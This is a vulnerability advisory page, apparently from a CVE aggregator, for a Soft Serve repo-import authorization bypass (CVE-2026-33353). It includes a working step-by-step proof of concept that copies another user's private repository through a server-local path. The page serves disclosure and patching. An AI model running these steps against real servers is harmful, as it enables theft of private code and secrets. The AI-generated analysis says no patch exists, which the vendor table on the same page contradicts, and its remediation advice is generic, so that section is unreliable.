Suse
CVE-2026-33353
HIGH
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.
Details
Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.
The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.
The relevant vulnerable flow is:
PoC
Configuration:
- Default local test configuration is sufficient.
- SSH must be enabled.
- At least two users are needed: one owner/admin and one low-privilege authenticated user.
Reproduction steps:
- Start Soft Serve.
- As an admin, create a private repo:
soft repo create secret -p- Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"- Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD- Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secretExpected result:
Error: repository not found- As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com- Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txtExpected result:
top secretNotes:
- The
--lfs-endpointvalue is needed to avoid later LFS endpoint handling rejecting the local-path import.
Impact
This is an authorization bypass and confidentiality issue.
Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.
Impacted parties:
- Operators hosting Soft Serve for multiple users or teams
- Owners of private repositories on the same instance
- Any deployment where untrusted authenticated users can use
repo import
Practical impact:
- Theft of private source code
- Disclosure of secrets committed to private repos
- Exposure of unreleased or internal projects
- Possible follow-on supply-chain risk if stolen code contains credentials or release material
AnalysisAI
Soft Serve's repo import functionality fails to validate authorization on source repositories, allowing any authenticated SSH user to clone private Git repositories belonging to other users. An attacker with valid credentials can bypass the private repository confidentiality boundary by importing another user's repo into a new repository under their control. No patch is currently available for this high-severity authorization bypass.
Technical ContextAI
Information disclosure occurs when an application inadvertently reveals sensitive data to unauthorized actors through error messages, logs, or improper access controls. This vulnerability is classified as Information Exposure (CWE-200).
RemediationAI
Implement proper access controls. Sanitize error messages in production. Review logging practices to avoid capturing sensitive data.
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-xgxp-f695-6vrp